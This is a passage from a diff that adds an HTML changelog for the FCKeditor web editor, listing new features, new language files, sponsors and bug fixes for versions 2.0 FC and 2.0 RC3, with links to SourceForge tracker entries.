+       </ul>
+       <p>
+               * This version has been partially sponsored by <a target="_blank" href="http://www.infineon.com/">
+                       Infineon Technologies AG</a>.<br />
+               ** This version has been partially sponsored by <a href="http://www.visualsoft.co.uk">
+                       Visualsoft</a> <a href="http://www.visualsoft.co.uk/websolutions.html">Web Solutions</a>.<br />
+               *** This version has been partially sponsored by <a target="_blank" href="http://www.webcrossing.com">
+                       Web Crossing, Inc</a>.</p>
+       <h3>
+               Version 2.0&nbsp;FC (Final Candidate)</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>A new tab called &quot;<strong>Link</strong>&quot; is available in the<strong> Image
+                       Dialog</strong> window. In this way you can insert or modify the image link directly
+                       from that dialog.* </li>
+               <li>The new &quot;<strong>Templates</strong>&quot; command is now available. Now the
+                       user can select from a list of pre-build HTML and fill the editor with it. Take
+                       a look at the &quot;_docs&quot; for more info.** </li>
+               <li>The <a target="_blank" href="http://mcpuk.net/fbxp/">mcpuk's</a> File Browser for
+                       PHP has been included in the package. He became the official developer of the File
+                       Manager for FCKeditor, so we can expect good news in the future. </li>
+               <li>New configuration options are available to <strong>hide tabs</strong> from the <strong>
+                       Image</strong> Dialog&nbsp;and <strong>Link</strong> Dialog windows: LinkDlgHideTarget,
+                       LinkDlgHideAdvanced, ImageDlgHideLink and ImageDlgHideAdvanced. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1189442&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1189442</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1187164&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1187164</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1185905&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1185905</a>] It is now possible to configure the editor to <strong>not convert Greek</strong>
+                       or special&nbsp;<strong>Latin </strong>letters to ther specific HTML entities. You
+                       can also configure it to not convert any character at all. Take a look at the &quot;ProcessHTMLEntities&quot;,
+                       &quot;IncludeLatinEntities&quot; and &quot;IncludeGreekEntities&quot; configuration
+                       options. </li>
+               <li>New language files are available:
+                       <ul>
+                               <li><strong>Basque</strong> (by Ibon Igartua) </li>
+                               <li><strong>English (Australia / United Kingdom)</strong> (by Christopher Dawes) </li>
+                               <li><strong>Ukrainian</strong> (by Alexander Pervak)</li>
+                       </ul>
+               </li>
+               <li>The version and date information have been removed from the files headers to avoid
+                       unecessary diffs in source control systems when new versions are released (from
+                       now on). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1159854&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1159854</a>] Ther HTML output rendered by the server side integration files
+                       are now XHTML compatible. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181823&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1181823</a>] It is now possible to set the desired DOCTYPE to use when edit
+                       HTML fragments (not in Full Page mode). </li>
+               <li>There is now an optional way to implement different &quot;mouse over&quot; effects
+                       to the buttons when they are &quot;on&quot; of &quot;off&quot;.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1162200&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1162200</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1161633&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1161633</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1050293&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1050293</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1058948&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1058948</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1109120&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1109120</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155408&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1155408</a>] The IE memory leak bug has been solved. The
+                       code has been completely reviewed and many memory usage improvements have been done.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1179645&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1179645</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1183252&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1183252</a> ] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1166779&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1181647</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155627&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1155627</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155782&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1155782</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155750&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1155750</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157166&amp;group_id=75348&amp;atid=543653">SF
+                                                                       BUG-1157166</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157857&amp;group_id=75348&amp;atid=543653">SF
+                                                                               BUG-1157857</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1158121&amp;group_id=75348&amp;atid=543653">SF
+                                                                                       BUG-1158121</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1177153&amp;group_id=75348&amp;atid=543653">SF
+                                                                                               BUG-1177153</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1175847&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                       BUG-1175847</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155747&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                               BUG-1155747</a>] There was a loading
+                       problem in Gecko browsers in some cases. It has been solved. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1161147&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1161147</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157635&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1157635</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1149805&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1149805</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1124600&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1124600</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1117535&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1117535</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1118145&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1118145</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1098113&amp;group_id=75348&amp;atid=543653">SF
+                                                                       BUG-1098113</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092272&amp;group_id=75348&amp;atid=543653">SF
+                                                                               BUG-1092272</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1086416&amp;group_id=75348&amp;atid=543653">SF
+                                                                                       BUG-1086416</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1027952&amp;group_id=75348&amp;atid=543653">SF
+                                                                                               BUG-1027952</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=978441&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                       BUG-978441</a> ] A custom Undo/Redo system
+                       has been implemented for IE. </li>
+               <li>The editor startup execution is now made in the right order (so configurations override
+                       works correctly). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1166779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1166779</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1166651&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1166651</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1066198&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1066198</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090388&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1090388</a> ]&nbsp;No more &quot;illegible&quot; characters in the
+                       toolbar when &quot;ClearType&quot; is active. </li>
+               <li>It is now possible to set the &quot;width&quot; style of the BODY tag in the EditorAreaCSS
+                       to limit the editing area size. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1113620&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1113620</a>] In IE, the editor doesn't generate new entries in the browser history
+                       anymore. </li>
+               <li>The editor now uses the same method used on version RC2 to load its contents on
+                       Gecko. It is now possible to have more than one editor in the page. This change
+                       has a negative impact: the BaseHref property is not working. </li>
+               <li>Changes have been made to make the editor work with PHP versions&nbsp;older than&nbsp;2.1.0.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1190835&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1190835</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1196547&amp;group_id=75348">SF
+                               BUG-1196547</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156863&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1156863</a>] The &quot;Insert Horizontal Line&quot; command is now working
+                       correctly. Thanks to Hector Raul Colonia Coral. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1101861&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1101861</a>] The editor now shows a normal textarea correctly (as expected)
+                       on Safari browsers (and all &quot;like Gecko&quot; browsers). Thanks to Bob Paul.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1182224&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1182224</a>] The PHP connector can now handle file extensions in upper case,&nbsp;like
+                       JPG or Gif, correctly. Thanks to Georg Ivancsic. </li>
+               <li>The &quot;sample06.html&quot; is now working correctly with Gecko browsers. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156660&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1156660</a>] Some fixes have been applied to the Universal Keyboard. Thanks
+                       to Abdul-Aziz Al-Oraij. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1192881&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1192881</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1185006&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1185006</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156068&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1156068</a>] The &quot;Browse Server&quot; button is now working correctly
+                       for the Background Image in the &quot;Document Properties&quot; dialog window (full
+                       page editing). The active &quot;BaseHref&quot; is also set to the preview window.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1191704&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1191704</a>] Invalid HTML tags (according to the W3C naming standards for XHTML)
+                       are ignored with no errors. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1185911&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1185911</a>] The Greek language file name has been corrected to &quot;el.js&quot;.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181572&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1181572</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1158421&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1158421</a>] The &quot;Print&quot; button is now active on startup. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181572&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1165219</a>] No error occours when the user defines just one color to the FontColors
+                       on &quot;in page&quot; configurations. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1162957&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1162957</a>] The small problem with Zope (ZPT)&nbsp;has been solved. </li>
+               <li>Some small RTL / LTR corrections has been done in the interface and the Farsi language
+                       has been added to the Universal Keyboard. Thanks to Silver Baghdasarian.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by the <a href="http://www.hamilton.edu">
+                       Hamilton College</a>.<br />
+               ** This version has been partially sponsored by <a target="_blank" href="http://www.infineon.com/">
+                       Infineon Technologies AG</a>.</p>
+       <h3>
+               Version 2.0 RC3 (Release Candidate 3)</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The editor now offers native <strong>Perl integration</strong>! Thanks and welcome
+                       to Takashi Yamaguchi, our official Perl developer. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1026584&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1026584</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1112692&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1112692</a>] <strong>Formatting </strong>has been introduced to the
+                       <strong>Source View</strong>. The output HTML can also be formatted. You can choose
+                       to use spaces or tab for indentation. See the configuration file. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1031492&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1031492</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1004293&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1004293</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=784281&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-784281</a>] It is now possible to edit <strong>full HTML pages</strong>
+                       with the editor. Use the &quot;FullPage&quot; configuration setting to activate
+                       it. </li>
+               <li>The&nbsp;new toolbar command, &quot;<strong>Document Properties</strong>&quot;&nbsp;is
+                       available to edit document header info, title, colors, background, etc... Full page
+                       editing must be enabled. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1151448&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1151448</a>] <strong>Spell Check</strong> is now available. You can use
+                       <strong>ieSpell</strong> or <strong>Speller Pages</strong> right from FCKeditor.
+                       More info about configuration can be found in the _docs folder. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1041686&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1041686</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1086386&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1086386</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1124602&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1124602</a>] New &quot;<strong>Insert Anchor</strong>&quot; command
+                       has been introduced. (The anchor icon is visible only over&nbsp;IE for now). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1123816&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1123816</a>] It is now possible to configure the editor to <strong>show &quot;fake&quot;
+                               table borders</strong> when the border size is set to zero. (It is working only
+                       on IE for now). </li>
+               <li><strong>Numbered</strong> and <strong>Bulleted</strong> lists can now be <strong>
+                       configured</strong> . Just right click on then. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088608&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1088608</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1144047&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1144047</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1149808&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1149808</a>] A new configuration setting is available, &quot;<strong>BaseHref</strong>
+                       &quot;, to set the URL used to resolve relative links. </li>
+               <li>It is now possible to set&nbsp;the <strong>content language direction</strong> .
+                       See the &quot;FCKConfig.ContentLangDirection&quot; configurations setting. </li>
+               <li>All <strong>Field Commands</strong> available on version 1.6 have been upgraded
+                       and&nbsp;included in this version: <strong>form</strong>, <strong>checkbox</strong>,
+                       <strong>radio button</strong>, <strong>text field</strong>, text <strong>area</strong>,
+                       <strong>select field</strong>, <strong>button</strong>, <strong>image button</strong>
+                       and <strong>hidden field</strong> . </li>
+               <li><strong>Context menu</strong> options (right-click) has been added for: <strong>
+                       anchors</strong>, <strong>select field</strong>, <strong>textarea</strong>, <strong>
+                               checkbox</strong>, <strong>radio button</strong>, <strong>text field</strong>,
+                       <strong>hidden field</strong>, <strong>textarea</strong>, <strong>button</strong>,
+                       <strong>image button</strong>, <strong>form</strong>, <strong>bulleted list</strong>
+                       and <strong>numbered list</strong> . </li>
+               <li>The &quot;<strong>Universal Keyboard</strong>&quot; has been converted from version
+                       1.6 to this one and it's now available. </li>
+               <li>It is now possible to <strong>configure</strong> the items to be shown in the <strong>
+                       context menu</strong> . Just use the FCKConfig.ContextMenu option&nbsp;at fckconfig.js.
+               </li>
+               <li>A new configuration (FillEmptyBlocks)&nbsp;is available to force the editor to <strong>
+                       automatically insert a &amp;nbsp;</strong> on empty block elements (p, div, pre,
+                       h1, etc...) to avoid differences from the editing and the final result. (Actually,
+                       the editor automatically &quot;grows&quot; empty elements to make the user able
+                       to enter text on it). Attention: the extra &amp;nbsp; will be added when switching
+                       from WYSIWYG to Source View, so the user may see an additional space on empty blocks.
+                       (XHTML support must be enabled). </li>
+               <li>It is now possible to configure the <strong>toolbar</strong> to &quot;<strong>break</strong>
+                       &quot; between two toolbar strips. Just insert a &quot;/&quot; between then. Take
+                       a look at fckconfig.js for a sample. </li>
+               <li>New Language files are available:
+                       <ul>
+                               <li><strong>Brazilian Portuguese</strong> (by Carlos Alberto Tomatis Loth) </li>
+                               <li><strong>Bulgarian</strong> (by Miroslav Ivanov) </li>
+                               <li><strong>Esperanto</strong> (by Tim Morley) </li>
+                               <li><strong>Galician</strong> (by Fernando Riveiro Lopez) </li>
+                               <li><strong>Japanese</strong> ( by Takashi Yamaguchi) </li>
+                               <li><strong>Persian</strong> (by Hamed Taj-Abadi) </li>
+                               <li><strong>Romanian</strong> (by Adrian Nicoara) </li>
+                               <li><strong>Slovak</strong> (by Gabriel Kiss) </li>
+                               <li><strong>Thai </strong>(by Audy Charin Arsakit) </li>
+                               <li><strong>Turkish</strong> (by Reha Bi&ccedil;er) </li>
+                               <li>The Chinese Traditional has been set as the default (zn) instead of zn-tw.</li>
+                       </ul>
+               </li>
+               <li>Warning: All toolbar image images have been changed. The &quot;button.&quot; prefix
+                       has been removed. If you have your custom skin, please rename your files. </li>
+               <li>A new plugin is available in the package: &quot;<strong>Placeholders</strong>&quot;.
+                       In this way you can insert non editable tags in your document to be processed on
+                       server side (very specific usage). </li>
+               <li>The ASPX files are no longer available in this package. They have been moved to
+                       the FCKeditor.Net package. In this way the ASP.Net integration is much better organized.
+               </li>
+               <li>The FCKeditor.Packager program is now part of the main package. It is not anymore&nbsp;distributed
+                       separately. </li>
+               <li>The PHP connector now sets the uploaded file permissions (chmod)&nbsp;to 0777. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090215&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1090215</a>] It's now possible to give back more info from your custom image
+                       browser calling the SetUrl( url [, width] [, height] [, alt] ). Thanks to Ben Noblet.
+               </li>
+               <li>The package files now maintain their original &quot;Last Modified&quot; date, so
+                       incremental FTP uploads can be used to update to&nbsp;new versions of the editor
+                       (from now on). </li>
+               <li>The &quot;Source&quot; view now forces its contents to be written in &quot;Left
+                       to Right&quot; direction even when the editor interface language is running a RTL
+                       language (like Arabic, Hebrew or Persian). </li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1124220&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1124220</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1119894&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1119894</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090986&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1090986</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1100408&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1100408</a>] The editor now works correctly when starting with an
+                       empty value and switching to the Source mode. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1119380&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1119380</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1115750&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1115750</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1101808&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1101808</a>] The problem with the scrollbar and the toolbar combos (Style,
+                       Font, etc...) over Mac has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1098460&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1098460</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1076544&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1076544</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077845&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1077845</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092395&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1092395</a>] A new upload class has been included for the ASP File
+                       Manager Connector. It uses the &quot;ADODB.Stream&quot; object. Many thanks to &quot;NetRube&quot;.
+               </li>
+               <li>I small correction has been made to the ColdFusion integration files. Thanks to
+                       Hendrik Kramer. </li>
+               <li>There was a very specific problem when the editor was running over a FRAME executed
+                       on another domain. </li>
+               <li>The performance problem on Gecko while typing&nbsp;quickly has been solved. </li>
+               <li>The &lt;br type= &quot;_moz&quot;&gt;is not anymore shown on XHTML source. </li>
+               <li>It has been introduced a mechanism to avoid automatic contents duplication on very
+                       specific occasions (bad formatted HTML). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1146407&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1146407</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1145800&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1145800</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1118803&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1118803</a> ] Other&nbsp;issues in the XHTML processor have been solved.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1143969&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1143969</a>] The editor now accepts the &quot;accept-charset&quot; attribute
+                       in the FORM tag (IE specific bug). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1122742&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1122742</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1089548&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1089548</a> ] Now, the contents of the SCRIPT and STYLE tags remain untouched.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1114748&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1114748</a>] The PHP File Manager Connector now sets the new folders permissions
+                       (chmod)&nbsp;to 0777 correctly. </li>
+               <li>The PHP File Manager Connector now has a configuration file (editor/filemanager/browser/default/connectors/php/config.php)
+                       to set some security preferences. </li>
+               <li>The&nbsp;ASP File Manager Connector now has a configuration file (editor/filemanager/browser/default/connectors/asp/config.asp)
+                       to set some security preferences. </li>
+               <li>A small bug in the toolbar rendering (strips auto position) has been corrected.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1093732&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1093732</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1091377&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1091377</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083044&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1083044</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1096307&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1096307</a>] The configurations are now encoded so a user can use
+                       values that has special chars (&amp;=/). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1103688&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1103688</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092331&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1092331</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088220&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1088220</a>] PHP samples now use PHP_SELF to automatically discover
+                       the editor's base path. </li>
+               <li>Some small wrapping problems with some labels in the Image and Table dialog windows
+                       have been fixed. </li>
+               <li>All .js files are now encoded in UTF-8 format with the BOM (byte order mask) to
+                       avoid some errors on specific Linux installations. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1114449&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1114449</a>] The editor packager program has been modified so now it is possible
+                       to use the source files to run the editor as described in the documentation. The
+                       new packager must be downloaded. </li>
+               <li>A small problem with the editor focus while in&nbsp;source&nbsp;mode has been corrected.
+                       Thanks to Eric (ric1607). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1108167&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1108167</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085149&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1085149</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1151296&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1151296</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1082433&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1082433</a>] No more IFRAMEs without src attribute. Now it points
+                       to a blank page located in the editor's package. In this way we avoid security warnings
+                       when using the editor over HTTPS. Thanks to Guillermo Bozovich. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1117779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1117779</a>] The editor now works well if you have more than one element named
+                       &quot;submit&quot;&nbsp;on its form (even if it is not correct to have this situation).
+               </li>
+               <li>The XHTML processor was duplicating the text on some specific situation. It has
+                       been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090213&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1090213</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1098929&amp;group_id=75348&amp;atid=543653">SF
+                               Patch-1098929</a>] With ASP, the editor now works correctly on pages using &quot;Option
+                       Explicit&quot;. Thanks to Ben Noblet. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1100759&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1100759</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1029125&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1029125</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=966130&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-966130</a>] The editor was not working with old IE 5.5 browsers. There
+                       was a problem with the XML parser. It has been fixed. </li>
+               <li>The localization engine is now working correctly over IE 5.5 browsers. </li>
+               <li>Some commands where not working well over IE 5.5 (emoticons, image,...). It has
+                       been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1146441&amp;group_id=75348&amp;atid=543653">SF
